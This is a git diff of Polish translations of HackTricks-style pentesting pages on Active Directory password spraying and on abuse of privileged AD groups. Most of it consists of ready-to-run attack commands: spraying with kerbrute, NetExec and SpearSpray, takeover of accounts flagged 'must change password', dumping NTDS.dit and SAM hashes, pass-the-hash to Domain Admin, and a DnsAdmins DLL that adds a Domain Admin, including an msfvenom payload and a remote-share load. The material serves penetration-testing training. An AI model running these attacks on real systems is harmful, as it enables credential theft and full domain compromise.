spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
|
||||
```
|
||||
- Używanie [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NIEZALECANE, CZASAMI NIE DZIAŁA
|
||||
- Używanie [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NIE ZALECANE, CZASAMI NIE DZIAŁA
|
||||
```bash
|
||||
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
|
||||
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
|
||||
@ -67,9 +82,9 @@ for u in $(cat users.txt); do
|
||||
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
|
||||
done
|
||||
```
|
||||
#### Z systemu Windows
|
||||
#### Z Windows
|
||||
|
||||
- Z [Rubeus](https://github.com/Zer1t0/Rubeus) w wersji z modułem brute:
|
||||
- Za pomocą [Rubeus](https://github.com/Zer1t0/Rubeus) w wersji z modułem brute:
|
||||
```bash
|
||||
# with a list of users
|
||||
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
|
||||
@ -77,7 +92,7 @@ done
|
||||
# check passwords for all users in current domain
|
||||
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
|
||||
```
|
||||
- With [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Domyślnie może generować użytkowników z domeny oraz pobiera politykę haseł z domeny i ogranicza liczbę prób zgodnie z nią):
|
||||
- Z [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Domyślnie może wygenerować użytkowników z domeny, pobrać politykę haseł i ograniczyć próby zgodnie z nią):
|
||||
```bash
|
||||
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
||||
```
|
||||
@ -87,10 +102,10 @@ Invoke-SprayEmptyPassword
|
||||
```
|
||||
### Zidentyfikuj i przejmij konta "Password must change at next logon" (SAMR)
|
||||
|
||||
Technika o niskim poziomie hałasu polega na sprayowaniu benign/empty password i wychwyceniu kont zwracających STATUS_PASSWORD_MUST_CHANGE, co oznacza, że hasło zostało przymusowo wygaszone i można je zmienić bez znajomości poprzedniego.
|
||||
Technika niskiego poziomu hałasu polega na spray a benign/empty password i wykryciu kont zwracających STATUS_PASSWORD_MUST_CHANGE, co wskazuje, że hasło zostało wymuszone do wygaśnięcia i można je zmienić bez znajomości starego.
|
||||
|
||||
Przebieg:
|
||||
- Wyenumeruj użytkowników (RID brute via SAMR), aby zbudować listę celów:
|
||||
Workflow:
|
||||
- Wykonaj enumerację użytkowników (RID brute via SAMR), aby zbudować listę celów:
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
|
||||
@ -99,12 +114,12 @@ Przebieg:
|
||||
# NetExec (null/guest) + RID brute to harvest users
|
||||
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
|
||||
```
|
||||
- Spryskaj pustym hasłem i kontynuuj przy trafieniach, aby przejąć konta, które muszą zmienić hasło przy następnym logowaniu:
|
||||
- Użyj password spraying z pustym hasłem i kontynuuj po trafieniach, aby przejąć konta, które muszą zmienić hasło przy następnym logowaniu:
|
||||
```bash
|
||||
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
|
||||
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
|
||||
```
|
||||
- Dla każdego trafienia zmień hasło przez SAMR za pomocą modułu NetExec’s (stare hasło nie jest potrzebne, gdy ustawione jest "must change"):
|
||||
- Dla każdego trafienia zmień hasło przez SAMR za pomocą modułu NetExec (stare hasło nie jest potrzebne, gdy ustawione jest "must change"):
|
||||
```bash
|
||||
# Strong complexity to satisfy policy
|
||||
env NEWPASS='P@ssw0rd!2025#' ; \
|
||||
@ -115,23 +130,23 @@ netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
|
||||
```
|
||||
Uwagi operacyjne:
|
||||
- Upewnij się, że zegar hosta jest zsynchronizowany z DC przed operacjami opartymi na Kerberos: `sudo ntpdate <dc_fqdn>`.
|
||||
- Symbol [+] bez (Pwn3d!) w niektórych modułach (np. RDP/WinRM) oznacza, że creds są ważne, ale konto nie ma praw logowania interaktywnego.
|
||||
- Znak [+] bez (Pwn3d!) w niektórych modułach (np. RDP/WinRM) oznacza, że creds są prawidłowe, ale konto nie ma praw do logowania interaktywnego.
|
||||
|
||||
## Brute Force
|
||||
```bash
|
||||
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
|
||||
```
|
||||
### Kerberos pre-auth spraying z ukierunkowaniem przez LDAP i throttlingiem uwzględniającym PSO (SpearSpray)
|
||||
### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
|
||||
|
||||
Kerberos pre-auth–based spraying zmniejsza szum w porównaniu do prób bind SMB/NTLM/LDAP i lepiej współgra z politykami blokowania AD. SpearSpray łączy ukierunkowanie oparte na LDAP, silnik wzorców i świadomość polityk (domain policy + PSOs + badPwdCount buffer), aby przeprowadzać spraying precyzyjnie i bezpiecznie. Może też oznaczać przejęte konta w Neo4j dla ścieżek BloodHound.
|
||||
Kerberos pre-auth–based spraying zmniejsza hałas w porównaniu z próbami bind SMB/NTLM/LDAP i lepiej współgra z politykami lockout w AD. SpearSpray łączy LDAP-driven targeting, pattern engine oraz policy awareness (domain policy + PSOs + bufor badPwdCount), aby wykonywać spray precyzyjnie i bezpiecznie. Może też oznaczać przejęte principals w Neo4j dla ścieżek w BloodHound.
|
||||
|
||||
Key ideas:
|
||||
- LDAP user discovery z paginacją i obsługą LDAPS, opcjonalnie z użyciem niestandardowych filtrów LDAP.
|
||||
- Domain lockout policy + filtrowanie uwzględniające PSO, aby zostawić konfigurowalny bufor prób (threshold) i unikać blokowania użytkowników.
|
||||
- Walidacja Kerberos pre-auth przy użyciu szybkich gssapi bindings (generuje 4768/4771 na DCs zamiast 4625).
|
||||
- Generowanie haseł oparte na wzorcach, dla każdego użytkownika, z użyciem zmiennych takich jak imiona oraz wartości temporalne wyprowadzone z pwdLastSet każdego użytkownika.
|
||||
- Kontrola przepustowości za pomocą wątków, jittera i maksymalnej liczby żądań na sekundę.
|
||||
- Opcjonalna integracja z Neo4j do oznaczania przejętych użytkowników dla BloodHound.
|
||||
- LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters.
|
||||
- Domain lockout policy + PSO-aware filtering to leave a configurable attempt buffer (threshold) and avoid locking users.
|
||||
- Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625).
|
||||
- Pattern-based, per-user password generation using variables like names and temporal values derived from each user’s pwdLastSet.
|
||||
- Throughput control with threads, jitter, and max requests per second.
|
||||
- Optional Neo4j integration to mark owned users for BloodHound.
|
||||
|
||||
Basic usage and discovery:
|
||||
```bash
|
||||
@ -144,7 +159,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
|
||||
# LDAPS (TCP/636)
|
||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
|
||||
```
|
||||
Targetowanie i kontrola wzorców:
|
||||
Celowanie i kontrola wzorców:
|
||||
```bash
|
||||
# Custom LDAP filter (e.g., target specific OU/attributes)
|
||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
|
||||
@ -153,7 +168,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
|
||||
# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
|
||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
|
||||
```
|
||||
Kontrole stealth i bezpieczeństwa:
|
||||
Kontrole ukrycia i bezpieczeństwa:
|
||||
```bash
|
||||
# Control concurrency, add jitter, and cap request rate
|
||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
|
||||
@ -176,27 +191,27 @@ Przegląd systemu wzorców (patterns.txt):
|
||||
```
|
||||
Dostępne zmienne obejmują:
|
||||
- {name}, {samaccountname}
|
||||
- Temporal z pwdLastSet każdego użytkownika (lub whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
|
||||
- Elementy pomocnicze kompozycji i token organizacji: {separator}, {suffix}, {extra}
|
||||
- Wartości czasowe z każdego użytkownika: pwdLastSet (lub whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
|
||||
- Pomocnicze elementy kompozycji i token organizacji: {separator}, {suffix}, {extra}
|
||||
|
||||
Uwagi operacyjne:
|
||||
- Preferuj zapytania do PDC-emulator z -dc, aby odczytać najbardziej autorytatywne badPwdCount i informacje związane z politykami.
|
||||
- Resety badPwdCount są wyzwalane przy następnym podejściu po oknie obserwacji; używaj progów i odpowiedniego rozłożenia w czasie, aby pozostać bezpiecznym.
|
||||
- Próby pre-auth Kerberos pojawiają się jako 4768/4771 w telemetryce DC; używaj jitter i rate-limiting, aby się wtopić.
|
||||
- Preferuj zapytania do PDC-emulator z użyciem -dc, aby odczytać najbardziej autorytatywne badPwdCount i informacje związane z polityką.
|
||||
- Reset badPwdCount jest wyzwalany przy następnym podejściu po okresie obserwacji; stosuj progi i odpowiednie odstępy czasowe, aby zachować bezpieczeństwo.
|
||||
- Próby Kerberos pre-auth pojawiają się jako 4768/4771 w DC telemetry; używaj jitter i rate-limiting, aby się wtopić.
|
||||
|
||||
> Wskazówka: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed.
|
||||
> Wskazówka: Domyślny rozmiar strony LDAP w SpearSpray to 200; w razie potrzeby dostosuj za pomocą -lps.
|
||||
|
||||
## Outlook Web Access
|
||||
|
||||
Istnieje wiele narzędzi do p**assword spraying outlook**.
|
||||
Jest wiele narzędzi do p**assword spraying outlook**.
|
||||
|
||||
- Za pomocą [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
|
||||
- Za pomocą [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
|
||||
- Za pomocą [Ruler](https://github.com/sensepost/ruler) (niezawodny!)
|
||||
- z [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
|
||||
- Za pomocą [Ruler](https://github.com/sensepost/ruler) (niezawodne!)
|
||||
- Za pomocą [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
|
||||
- Za pomocą [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
|
||||
|
||||
Aby użyć któregokolwiek z tych narzędzi, potrzebujesz listy użytkowników oraz password / krótkiej listy passwords do sprayowania.
|
||||
Aby użyć któregokolwiek z tych narzędzi, potrzebujesz listy użytkowników oraz password / a small list of passwords to spray.
|
||||
```bash
|
||||
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
|
||||
[x] Failed: larsson:Summer2020
|
||||
@ -215,7 +230,7 @@ Aby użyć któregokolwiek z tych narzędzi, potrzebujesz listy użytkowników o
|
||||
- [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer)
|
||||
- [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster)
|
||||
|
||||
## Referencje
|
||||
## Źródła
|
||||
|
||||
- [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray)
|
||||
- [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute)
|
||||
@ -227,6 +242,7 @@ Aby użyć któregokolwiek z tych narzędzi, potrzebujesz listy użytkowników o
|
||||
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
|
||||
- [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
|
||||
- [HTB Sendai – 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
|
||||
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,25 +4,25 @@
|
||||
|
||||
## Znane grupy z uprawnieniami administracyjnymi
|
||||
|
||||
- **Administratorzy**
|
||||
- **Administratorzy domeny**
|
||||
- **Administratorzy przedsiębiorstwa**
|
||||
- **Administrators**
|
||||
- **Domain Admins**
|
||||
- **Enterprise Admins**
|
||||
|
||||
## Operatorzy kont
|
||||
## Account Operators
|
||||
|
||||
Grupa ta ma uprawnienia do tworzenia kont i grup, które nie są administratorami w domenie. Dodatkowo umożliwia lokalne logowanie do Kontrolera Domeny (DC).
|
||||
Ta grupa ma uprawnienia do tworzenia kont i grup, które nie są administratorami w domenie. Dodatkowo umożliwia lokalne logowanie do kontrolera domeny (DC).
|
||||
|
||||
Aby zidentyfikować członków tej grupy, wykonuje się następujące polecenie:
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "Account Operators" -Recurse
|
||||
```
|
||||
Dodawanie nowych użytkowników jest dozwolone, a także lokalne logowanie do DC01.
|
||||
Dozwolone jest dodawanie nowych użytkowników oraz lokalne logowanie do DC.
|
||||
|
||||
## Grupa AdminSDHolder
|
||||
## Grupa **AdminSDHolder**
|
||||
|
||||
Lista Kontroli Dostępu (ACL) grupy **AdminSDHolder** jest kluczowa, ponieważ ustala uprawnienia dla wszystkich "chronionych grup" w Active Directory, w tym grup o wysokich uprawnieniach. Mechanizm ten zapewnia bezpieczeństwo tych grup, zapobiegając nieautoryzowanym modyfikacjom.
|
||||
Lista kontroli dostępu (ACL) grupy **AdminSDHolder** jest kluczowa, ponieważ ustala uprawnienia dla wszystkich „chronionych grup” w Active Directory, w tym grup o wysokich uprawnieniach. Ten mechanizm zabezpiecza te grupy, uniemożliwiając nieautoryzowane modyfikacje.
|
||||
|
||||
Atakujący mógłby to wykorzystać, modyfikując ACL grupy **AdminSDHolder**, przyznając pełne uprawnienia standardowemu użytkownikowi. To skutecznie dałoby temu użytkownikowi pełną kontrolę nad wszystkimi chronionymi grupami. Jeśli uprawnienia tego użytkownika zostaną zmienione lub usunięte, zostaną automatycznie przywrócone w ciągu godziny z powodu konstrukcji systemu.
|
||||
Atakujący mógłby to wykorzystać, modyfikując ACL grupy **AdminSDHolder** i przyznając zwykłemu użytkownikowi pełne uprawnienia. Spowodowałoby to, że użytkownik miałby de facto pełną kontrolę nad wszystkimi chronionymi grupami. Jeśli uprawnienia tego użytkownika zostaną zmienione lub usunięte, zostaną one automatycznie przywrócone w ciągu godziny ze względu na sposób działania systemu.
|
||||
|
||||
Polecenia do przeglądania członków i modyfikowania uprawnień obejmują:
|
||||
```bash
|
||||
@ -30,31 +30,31 @@ Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
|
||||
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
|
||||
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
|
||||
```
|
||||
Dostępny jest skrypt, który przyspiesza proces przywracania: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1).
|
||||
Dostępny jest skrypt przyspieszający proces przywracania: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1).
|
||||
|
||||
Aby uzyskać więcej szczegółów, odwiedź [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence).
|
||||
Więcej informacji na [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence).
|
||||
|
||||
## Kosz na AD
|
||||
## AD Recycle Bin
|
||||
|
||||
Członkostwo w tej grupie umożliwia odczyt usuniętych obiektów Active Directory, co może ujawnić wrażliwe informacje:
|
||||
```bash
|
||||
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
|
||||
```
|
||||
### Dostęp do Kontrolera Domeny
|
||||
### Dostęp do kontrolera domeny
|
||||
|
||||
Dostęp do plików na DC jest ograniczony, chyba że użytkownik jest częścią grupy `Server Operators`, co zmienia poziom dostępu.
|
||||
Dostęp do plików na DC jest ograniczony, chyba że użytkownik należy do grupy `Server Operators`, co zmienia poziom uprawnień.
|
||||
|
||||
### Eskalacja Uprawnień
|
||||
### Privilege Escalation
|
||||
|
||||
Używając `PsService` lub `sc` z Sysinternals, można sprawdzić i zmodyfikować uprawnienia usług. Grupa `Server Operators`, na przykład, ma pełną kontrolę nad niektórymi usługami, co pozwala na wykonywanie dowolnych poleceń i eskalację uprawnień:
|
||||
Używając `PsService` lub `sc` z Sysinternals, można sprawdzić i zmienić uprawnienia usług. Grupa `Server Operators`, na przykład, ma pełną kontrolę nad niektórymi usługami, co umożliwia wykonywanie dowolnych poleceń i privilege escalation:
|
||||
```cmd
|
||||
C:\> .\PsService.exe security AppReadiness
|
||||
```
|
||||
To polecenie ujawnia, że `Server Operators` mają pełny dostęp, co umożliwia manipulację usługami w celu uzyskania podwyższonych uprawnień.
|
||||
To polecenie ujawnia, że `Server Operators` mają pełny dostęp, co umożliwia manipulowanie usługami w celu eskalacji uprawnień.
|
||||
|
||||
## Backup Operators
|
||||
|
||||
Członkostwo w grupie `Backup Operators` zapewnia dostęp do systemu plików `DC01` dzięki uprawnieniom `SeBackup` i `SeRestore`. Te uprawnienia umożliwiają przechodzenie przez foldery, wyświetlanie listy oraz kopiowanie plików, nawet bez wyraźnych uprawnień, przy użyciu flagi `FILE_FLAG_BACKUP_SEMANTICS`. Wykorzystanie konkretnych skryptów jest konieczne w tym procesie.
|
||||
Członkostwo w grupie `Backup Operators` zapewnia dostęp do systemu plików `DC01` z powodu uprawnień `SeBackup` i `SeRestore`. Te uprawnienia umożliwiają przeglądanie folderów, listowanie i kopiowanie plików, nawet bez jawnych uprawnień, przy użyciu flagi `FILE_FLAG_BACKUP_SEMANTICS`. W tym celu konieczne jest użycie odpowiednich skryptów.
|
||||
|
||||
Aby wyświetlić członków grupy, wykonaj:
|
||||
```bash
|
||||
@ -62,9 +62,9 @@ Get-NetGroupMember -Identity "Backup Operators" -Recurse
|
||||
```
|
||||
### Atak lokalny
|
||||
|
||||
Aby wykorzystać te uprawnienia lokalnie, stosuje się następujące kroki:
|
||||
Aby wykorzystać te uprawnienia lokalnie, wykonuje się następujące kroki:
|
||||
|
||||
1. Importuj niezbędne biblioteki:
|
||||
1. Zaimportuj niezbędne biblioteki:
|
||||
```bash
|
||||
Import-Module .\SeBackupPrivilegeUtils.dll
|
||||
Import-Module .\SeBackupPrivilegeCmdLets.dll
|
||||
@ -74,18 +74,18 @@ Import-Module .\SeBackupPrivilegeCmdLets.dll
|
||||
Set-SeBackupPrivilege
|
||||
Get-SeBackupPrivilege
|
||||
```
|
||||
3. Uzyskaj dostęp i skopiuj pliki z zastrzeżonych katalogów, na przykład:
|
||||
3. Uzyskaj dostęp i skopiuj pliki z ograniczonych katalogów, na przykład:
|
||||
```bash
|
||||
dir C:\Users\Administrator\
|
||||
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite
|
||||
```
|
||||
### AD Attack
|
||||
### Atak AD
|
||||
|
||||
Bezpośredni dostęp do systemu plików kontrolera domeny umożliwia kradzież bazy danych `NTDS.dit`, która zawiera wszystkie hashe NTLM dla użytkowników i komputerów w domenie.
|
||||
Bezpośredni dostęp do systemu plików kontrolera domeny pozwala na kradzież bazy `NTDS.dit`, która zawiera wszystkie hashe NTLM użytkowników i komputerów w domenie.
|
||||
|
||||
#### Using diskshadow.exe
|
||||
#### Korzystanie z diskshadow.exe
|
||||
|
||||
1. Create a shadow copy of the `C` drive:
|
||||
1. Utwórz shadow copy dysku `C`:
|
||||
```cmd
|
||||
diskshadow.exe
|
||||
set verbose on
|
||||
@ -98,27 +98,35 @@ expose %cdrive% F:
|
||||
end backup
|
||||
exit
|
||||
```
|
||||
2. Skopiuj `NTDS.dit` z kopii zapasowej:
|
||||
2. Skopiuj `NTDS.dit` z shadow copy:
|
||||
```cmd
|
||||
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
|
||||
```
|
||||
Alternatywnie, użyj `robocopy` do kopiowania plików:
|
||||
Alternatywnie użyj `robocopy` do kopiowania plików:
|
||||
```cmd
|
||||
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
|
||||
```
|
||||
3. Wyodrębnij `SYSTEM` i `SAM` w celu odzyskania haszy:
|
||||
3. Wyodrębnij `SYSTEM` i `SAM` w celu pobrania hashów:
|
||||
```cmd
|
||||
reg save HKLM\SYSTEM SYSTEM.SAV
|
||||
reg save HKLM\SAM SAM.SAV
|
||||
```
|
||||
4. Pobierz wszystkie hashe z `NTDS.dit`:
|
||||
4. Pobierz wszystkie hashes z `NTDS.dit`:
|
||||
```shell-session
|
||||
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
|
||||
```
|
||||
#### Używanie wbadmin.exe
|
||||
5. Po ekstrakcji: Pass-the-Hash do DA
|
||||
```bash
|
||||
# Use the recovered Administrator NT hash to authenticate without the cleartext password
|
||||
netexec winrm <DC_FQDN> -u Administrator -H <ADMIN_NT_HASH> -x "whoami"
|
||||
|
||||
# Or execute via SMB using an exec method
|
||||
netexec smb <DC_FQDN> -u Administrator -H <ADMIN_NT_HASH> --exec-method smbexec -x cmd
|
||||
```
|
||||
#### Użycie wbadmin.exe
|
||||
|
||||
1. Skonfiguruj system plików NTFS dla serwera SMB na maszynie atakującej i zbuforuj poświadczenia SMB na maszynie docelowej.
|
||||
2. Użyj `wbadmin.exe` do tworzenia kopii zapasowej systemu i ekstrakcji `NTDS.dit`:
|
||||
2. Użyj `wbadmin.exe` do wykonania kopii zapasowej systemu i wyodrębnienia `NTDS.dit`:
|
||||
```cmd
|
||||
net use X: \\<AttackIP>\sharename /user:smbuser password
|
||||
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
|
||||
@ -126,23 +134,29 @@ wbadmin get versions
|
||||
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl
|
||||
```
|
||||
|
||||
Aby zobaczyć praktyczną demonstrację, zobacz [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s).
|
||||
For a practical demonstration, see [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s).
|
||||
|
||||
## DnsAdmins
|
||||
|
||||
Członkowie grupy **DnsAdmins** mogą wykorzystać swoje uprawnienia do załadowania dowolnego DLL z uprawnieniami SYSTEM na serwerze DNS, często hostowanym na kontrolerach domeny. Ta zdolność pozwala na znaczny potencjał do eksploatacji.
|
||||
Członkowie grupy **DnsAdmins** mogą wykorzystać swoje uprawnienia do załadowania dowolnej DLL z uprawnieniami SYSTEM na serwerze DNS, często hostowanym na Domain Controllers. Ta możliwość daje znaczny potencjał do wykorzystania.
|
||||
|
||||
Aby wyświetlić członków grupy DnsAdmins, użyj:
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
|
||||
```
|
||||
### Wykonaj dowolny DLL
|
||||
### Execute arbitrary DLL (CVE‑2021‑40469)
|
||||
|
||||
Członkowie mogą sprawić, że serwer DNS załaduje dowolny DLL (lokalnie lub z zdalnego udostępnienia) za pomocą poleceń takich jak:
|
||||
> [!NOTE]
|
||||
> Ta luka umożliwia wykonanie dowolnego kodu z uprawnieniami SYSTEM w usłudze DNS (zazwyczaj na DCs). Problem został naprawiony w 2021 roku.
|
||||
|
||||
Members mogą spowodować, że serwer DNS załaduje dowolny DLL (lokalnie lub z zdalnego udziału), używając poleceń takich jak:
|
||||
```bash
|
||||
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
|
||||
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
|
||||
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
|
||||
|
||||
# If dnscmd is not installed run from aprivileged PowerShell session:
|
||||
Install-WindowsFeature -Name RSAT-DNS-Server -IncludeManagementTools
|
||||
```
|
||||
|
||||
```c
|
||||
@ -158,90 +172,94 @@ system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /doma
|
||||
// Generate DLL with msfvenom
|
||||
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll
|
||||
```
|
||||
Restartowanie usługi DNS (co może wymagać dodatkowych uprawnień) jest konieczne, aby DLL mogła zostać załadowana:
|
||||
Zrestartowanie usługi DNS (co może wymagać dodatkowych uprawnień) jest konieczne, aby plik DLL został załadowany:
|
||||
```csharp
|
||||
sc.exe \\dc01 stop dns
|
||||
sc.exe \\dc01 start dns
|
||||
```
|
||||
Dla uzyskania dalszych informacji na temat tego wektora ataku, odwołaj się do ired.team.
|
||||
Po więcej szczegółów na temat tego wektora ataku zobacz ired.team.
|
||||
|
||||
#### Mimilib.dll
|
||||
|
||||
Możliwe jest również użycie mimilib.dll do wykonania poleceń, modyfikując go w celu wykonania konkretnych poleceń lub odwrotnych powłok. [Sprawdź ten post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) w celu uzyskania dalszych informacji.
|
||||
Możliwe jest także użycie mimilib.dll do wykonywania poleceń, modyfikując ją tak, aby uruchamiała określone komendy lub reverse shells. [Check this post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) for more information.
|
||||
|
||||
### Rekord WPAD dla MitM
|
||||
|
||||
DnsAdmins mogą manipulować rekordami DNS, aby przeprowadzać ataki Man-in-the-Middle (MitM), tworząc rekord WPAD po wyłączeniu globalnej listy blokad zapytań. Narzędzia takie jak Responder lub Inveigh mogą być używane do fałszowania i przechwytywania ruchu sieciowego.
|
||||
DnsAdmins mogą manipulować rekordami DNS, aby przeprowadzać ataki Man-in-the-Middle (MitM) poprzez utworzenie rekordu WPAD po wyłączeniu global query block list. Narzędzia takie jak Responder lub Inveigh mogą być użyte do spoofingu i przechwytywania ruchu sieciowego.
|
||||
|
||||
### Czytelnicy dzienników zdarzeń
|
||||
Członkowie mogą uzyskiwać dostęp do dzienników zdarzeń, potencjalnie znajdując wrażliwe informacje, takie jak hasła w postaci tekstu jawnego lub szczegóły wykonania poleceń:
|
||||
### Event Log Readers
|
||||
Członkowie mogą uzyskiwać dostęp do dzienników zdarzeń, potencjalnie znajdując wrażliwe informacje, takie jak hasła w postaci jawnej lub szczegóły wykonania poleceń:
|
||||
```bash
|
||||
# Get members and search logs for sensitive information
|
||||
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
|
||||
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}
|
||||
```
|
||||
## Exchange Windows Permissions
|
||||
## Uprawnienia Exchange Windows
|
||||
|
||||
Ta grupa może modyfikować DACL na obiekcie domeny, potencjalnie przyznając uprawnienia DCSync. Techniki eskalacji uprawnień wykorzystujące tę grupę są szczegółowo opisane w repozytorium Exchange-AD-Privesc na GitHubie.
|
||||
Ta grupa może modyfikować DACLs obiektu domeny, co może skutkować przyznaniem uprawnień DCSync. Techniki eskalacji uprawnień wykorzystujące tę grupę zostały opisane szczegółowo w Exchange-AD-Privesc GitHub repo.
|
||||
```bash
|
||||
# List members
|
||||
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
|
||||
```
|
||||
## Hyper-V Administrators
|
||||
|
||||
Administratorzy Hyper-V mają pełny dostęp do Hyper-V, co może być wykorzystane do przejęcia kontroli nad wirtualizowanymi kontrolerami domeny. Obejmuje to klonowanie aktywnych kontrolerów domeny i wydobywanie haszy NTLM z pliku NTDS.dit.
|
||||
Hyper-V Administrators mają pełny dostęp do Hyper-V, który może zostać wykorzystany do przejęcia kontroli nad wirtualizowanymi Domain Controllers. Obejmuje to klonowanie działających DCs oraz wyodrębnianie hashy NTLM z pliku NTDS.dit.
|
||||
|
||||
### Przykład wykorzystania
|
||||
### Exploitation Example
|
||||
|
||||
Usługa konserwacyjna Mozilla Firefox może być wykorzystywana przez administratorów Hyper-V do wykonywania poleceń jako SYSTEM. Polega to na utworzeniu twardego linku do chronionego pliku SYSTEM i zastąpieniu go złośliwym plikiem wykonywalnym:
|
||||
Firefox's Mozilla Maintenance Service może być wykorzystana przez Hyper-V Administrators do wykonania poleceń jako SYSTEM. Polega to na utworzeniu hard linku do chronionego pliku SYSTEM i zastąpieniu go złośliwym plikiem wykonywalnym:
|
||||
```bash
|
||||
# Take ownership and start the service
|
||||
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
|
||||
sc.exe start MozillaMaintenance
|
||||
```
|
||||
